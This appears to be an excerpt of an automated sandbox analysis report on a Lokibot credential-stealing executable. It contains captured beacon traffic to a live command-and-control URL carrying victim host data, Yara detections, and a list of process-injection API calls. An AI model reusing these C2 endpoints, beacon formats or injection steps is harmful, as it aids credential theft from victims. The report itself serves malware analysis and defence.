Feb 22, 2021 19:14:49.756752014 CET	6271	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.4	49853	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:50.340811014 CET	6272	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:50.675412893 CET	6273	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:51.040293932 CET	6273	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:50 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.4	49854	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:51.621969938 CET	6274	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:51.967381954 CET	6274	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:52.342394114 CET	6275	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.4	49855	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:52.907812119 CET	6275	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:53.244462967 CET	6276	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:53.614855051 CET	6276	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.4	49856	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:54.200424910 CET	6277	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:54.545985937 CET	6277	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:54.924731016 CET	6277	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.4	49857	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:55.486345053 CET	6278	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:55.825711966 CET	6279	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:56.190764904 CET	6279	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:56 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.4	49858	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:56.748662949 CET	6280	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:57.082882881 CET	6280	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:57.456227064 CET	6281	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49756	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:14.755155087 CET	1546	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:15.090272903 CET	1546	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:15.458630085 CET	1547	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:15 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Conan Fegan - Aluminium.exe PID: 4748 Parent PID: 5836

General

Start time:	19:12:51
Start date:	22/02/2021
Path:	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Conan Fegan - Aluminium.exe'
Imagebase:	0x960000
File size:	398848 bytes
MD5 hash:	708EE64939578FBB07010E20F6C7672C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: Conan Fegan - Aluminium.exe PID: 7008 Parent PID: 4748

General

Start time:	19:12:59
Start date:	22/02/2021
Path:	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe
Imagebase:	0xc20000
File size:	398848 bytes
MD5 hash:	708EE64939578FBB07010E20F6C7672C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000005.00000002.901084712.000000000121A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Conan Fegan - Aluminium.exe PID: 4748 Parent PID: 5836 Conan Fegan - Aluminium.exeCOMMON

Executed Functions

Function 07A30040, Relevance: 4.6, Strings: 3, Instructions: 892COMMON

Download Yara Rule

Strings

D0l, xrefs: 07A30615
D0l, xrefs: 07A30515
D0l, xrefs: 07A30488

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID: D0l$D0l$D0l
API String ID: 0-1921109830
Opcode ID: da1bfc36be05c938ef7120cbc5f7efd8863b9aa4100cf448e6cab460cd5a60d7
Instruction ID: 225acde784ac39337399dbc96ce4417c1b97eead1521fe03ab753772b4c50d42
Opcode Fuzzy Hash: da1bfc36be05c938ef7120cbc5f7efd8863b9aa4100cf448e6cab460cd5a60d7
Instruction Fuzzy Hash: 0F726BB0A002199FDB14DFA9D994BAEBBB3FF89304F158069F415AB361DB34D841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07A3C5FF, Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12d9d10ab6bb43df7d760db0488a2d8d360c9afb5f96e458a264cd58b3d9c7c2
Instruction ID: a0647ebaca27a7f6012732e8d9a960699b318c2c0f4b46320294fcffc13fb8dc
Opcode Fuzzy Hash: 12d9d10ab6bb43df7d760db0488a2d8d360c9afb5f96e458a264cd58b3d9c7c2
Instruction Fuzzy Hash: 78B18FB5A00215CFCB14CF69C984AADBBB1BF84721F168059F825AB3A1DB30ED45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 07A38DF8, Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 946994a1f2cb5e3afad0d2dc1630e8013362fe45d4741246d7a987d224a95820
Instruction ID: 5cfc88a4c12c099a56d1056bbbe258f762ff3c40296415fce20014a86fd89f89
Opcode Fuzzy Hash: 946994a1f2cb5e3afad0d2dc1630e8013362fe45d4741246d7a987d224a95820
Instruction Fuzzy Hash: A8A1F3B4E04249CFDB14DFA9C48469EFBF2AF89314F25C129E428AB345D7389981CF61

Uniqueness

Uniqueness Score: -1.00%

Function 07A38DEA, Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cc17745fb5d55f2ceb9a04352f6fcf76b6c6c68b560701f31d36cb2ee3979be
Instruction ID: 17b54e1aa1cafe370ac2b68a1fbae4f3146ebe81775019bf6249a61d36d1be30
Opcode Fuzzy Hash: 7cc17745fb5d55f2ceb9a04352f6fcf76b6c6c68b560701f31d36cb2ee3979be
Instruction Fuzzy Hash: 667118B4E04249CFDB14DFA9C48469EBBF2AF89314F24C12AE428AB345D7389945CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07A3C1FF, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11128a4b85ec308721a5e39130255c3f364af2748dae66348a2b947c912d1f27
Instruction ID: 2b9e5c833d382f0d595b6e2bda0c417d9732ad052d4fe687115515af0b897778
Opcode Fuzzy Hash: 11128a4b85ec308721a5e39130255c3f364af2748dae66348a2b947c912d1f27
Instruction Fuzzy Hash: BE4102B4910269CFDB64DF64C884BECB7B1EB8A314F0081EAD419AB291DB349EC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 07A3DE28, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b167bc9e5df778756621b981ce35a1c494b6d04d4ac1569e09c0bba027ee60c
Instruction ID: f76bc501f34b3c77b99b3e12f01dd57c85c955180b3ec2dab6c186030ee14fc2
Opcode Fuzzy Hash: 1b167bc9e5df778756621b981ce35a1c494b6d04d4ac1569e09c0bba027ee60c
Instruction Fuzzy Hash: 18219CB5904248CFCB05DFA4C554BEDBFF1AF4E311F14916AE054B72A1C7398944CB64

Uniqueness

Uniqueness Score: -1.00%

Function 07A3DF24, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3759762f19f10bb4a39161421616f9f41aa3c725b4a556376edc79db27f3fd7c
Instruction ID: 84a29bdfb38b2ac7f7b7064a444b9163e14c51a6a6dd25d76d16beb363cefe6d
Opcode Fuzzy Hash: 3759762f19f10bb4a39161421616f9f41aa3c725b4a556376edc79db27f3fd7c
Instruction Fuzzy Hash: 9BE068E1E4C395DFD7014FB488A56BABFB0AB0B205F24518AF091F71A1C2A8C901C762

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A8CC, Relevance: 1.7, APIs: 1, Instructions: 249processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07A3AB0E

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a514932505c90372560ef6a4fd9f12b3ca3aa5f1ba51fcbc0310c409148a5929
Instruction ID: 7a283c7a5e7a4238c083f633eb4e4bb5826fd80d957d36a50a6b129287df7dc9
Opcode Fuzzy Hash: a514932505c90372560ef6a4fd9f12b3ca3aa5f1ba51fcbc0310c409148a5929
Instruction Fuzzy Hash: E0A16CB1D00229CFDB10CFA5C841BDDBBB2BF88314F1585A9F859A7250DB749981CF92

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A8D8, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07A3AB0E

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: cc2d8eb7726e706a1ab3f7b61fb2ddcaff38a93d66a45e3370f8f35750e2d1cc
Instruction ID: 6ba53ad5a6d43f91958d31a7017b8a1d3d07ec15932ea2cbfd207cfca7d8e42f
Opcode Fuzzy Hash: cc2d8eb7726e706a1ab3f7b61fb2ddcaff38a93d66a45e3370f8f35750e2d1cc
Instruction Fuzzy Hash: 77916CB1D0022ACFDB10CFA5C841BDDBBB2BF88314F1585A9F859A7250DB749985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A619, Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07A3A6B0

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b4b5135d328bbdab56027365fd8b0a047268c55ae5b7512787f1abe1ba676362
Instruction ID: 06155e4ca3e2d406b5fe1fd59bff9ec0e8b4feb42407259a62a5991b4616a3ef
Opcode Fuzzy Hash: b4b5135d328bbdab56027365fd8b0a047268c55ae5b7512787f1abe1ba676362
Instruction Fuzzy Hash: 902148B59003599FCB10CFA9C8847EEBBF5FF48314F10842AE958A7250DB789954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A620, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07A3A6B0

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8325d51a073c2bd4c4196d931fa3ce4e8fb5d35a11769b8096451a4543abd6ae
Instruction ID: 772c3e8ab732f1a5b988d3b12c4b3e425e9c42dd9c688f8f9cf7f985b5fa445a
Opcode Fuzzy Hash: 8325d51a073c2bd4c4196d931fa3ce4e8fb5d35a11769b8096451a4543abd6ae
Instruction Fuzzy Hash: 152127B59003599FCB10CFA9C884BEEBBF5FF48314F10842AE959A7250CB789954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A738, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07A3A7C0

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f40357a276d4a34206842b4888e552b10fd6e270e49961552244abcc07d55275
Instruction ID: b58277eb3d3a6c2591d575abbf4670b924f59e143a2dc33e8cf8f16b2068ec68
Opcode Fuzzy Hash: f40357a276d4a34206842b4888e552b10fd6e270e49961552244abcc07d55275
Instruction Fuzzy Hash: D62139B19003599FCB10CFA9C8847EEBBB4FF48310F10842AE558A7250C7789940DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A480, Relevance: 1.6, APIs: 1, Instructions: 66threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 07A3A506

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 603ca60220abf30b1b46c86107aeff7ccd139756ba5a971d3be921438aa00b9a
Instruction ID: c30ac2668255a910f675e4e278ca92f384dc8c7eeee59ad3b6eabdb9089de1b4
Opcode Fuzzy Hash: 603ca60220abf30b1b46c86107aeff7ccd139756ba5a971d3be921438aa00b9a
Instruction Fuzzy Hash: 91213DB1D003199FDB10CFA9C4457EEBBF4EF48314F14842AE959A7240DB789944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A740, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07A3A7C0

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 50f6526f25c45c97ef0a7fa94f92c915809ce8a95c4e16f2230b2d440b161ae1
Instruction ID: 8427fa443030b5ef38ecd475cdc32a167bc53f7dd6775251c7815a1e22f251e1
Opcode Fuzzy Hash: 50f6526f25c45c97ef0a7fa94f92c915809ce8a95c4e16f2230b2d440b161ae1
Instruction Fuzzy Hash: BB2128B19003599FCB10DFAAC880BEEBBF5FF48314F10842AE958A7250D7789940DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A488, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 07A3A506

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: aa8b5da581f62262aa2a554c3c99aa272885fb3a582dca99f849b99432f93e79
Instruction ID: ac6cfd13e15240366103d32b292b856fb49d21d685efb99da038f77c8fbee14d
Opcode Fuzzy Hash: aa8b5da581f62262aa2a554c3c99aa272885fb3a582dca99f849b99432f93e79
Instruction Fuzzy Hash: DB214CB1D003199FDB10CFAAC4847EEBBF4EF88314F14842AE559A7240DB789944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A560, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07A3A5CE

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4ec1eb026d079e8bc524f62be0ea6d21f9dc817a51eddd2f3a2a60d23486001a
Instruction ID: 4660388a78f53e116bf869080a76cac53f3cb0de8e0e7316afcdbe9f12641873
Opcode Fuzzy Hash: 4ec1eb026d079e8bc524f62be0ea6d21f9dc817a51eddd2f3a2a60d23486001a
Instruction Fuzzy Hash: 19113A719002599FDB10CFA9C844BDFBBF5AF88324F14841AE555A7250C7799550CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A558, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07A3A5CE

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: eecfa682abd80665cbc93fe78976f768a3ce7e491bacc30c02eddf85d5b7d7a8
Instruction ID: 4a995a3a7854419723ea6385b321b4406ca4e10633d9c6b0dc52bf79c4b132e9
Opcode Fuzzy Hash: eecfa682abd80665cbc93fe78976f768a3ce7e491bacc30c02eddf85d5b7d7a8
Instruction Fuzzy Hash: 94116A71900249DFDB10CFA9C844BEFBBF5BF88314F14881AE555A7210C7799950CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A3D0, Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07A3A43A

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4c567c787e8091813ca0b358b337a485065bd6c83935e6097c8cf9605c43e65f
Instruction ID: 618409a8df4128d13d59a215b2fbbe12996bf80e575e0afcf725b011cb6ccf67
Opcode Fuzzy Hash: 4c567c787e8091813ca0b358b337a485065bd6c83935e6097c8cf9605c43e65f
Instruction Fuzzy Hash: AD115BB1D002598FDB10CFAAC4487EEFBF4EF88324F148429E555A7240CB786944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A3A3D8, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07A3A43A

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0d0b212eca85575efebb4c25a592070b2431fe48524fbfb5566178a468326af6
Instruction ID: e821f7d4c1917e723833c97d7650ae15c6338cb4059ed6e17d7542d43f4133ee
Opcode Fuzzy Hash: 0d0b212eca85575efebb4c25a592070b2431fe48524fbfb5566178a468326af6
Instruction Fuzzy Hash: 10113AB19003598FDB10DFAAC4447EEFBF4AF88224F148429E555B7240CB78A944CFA1

Uniqueness

Uniqueness Score: -1.00%

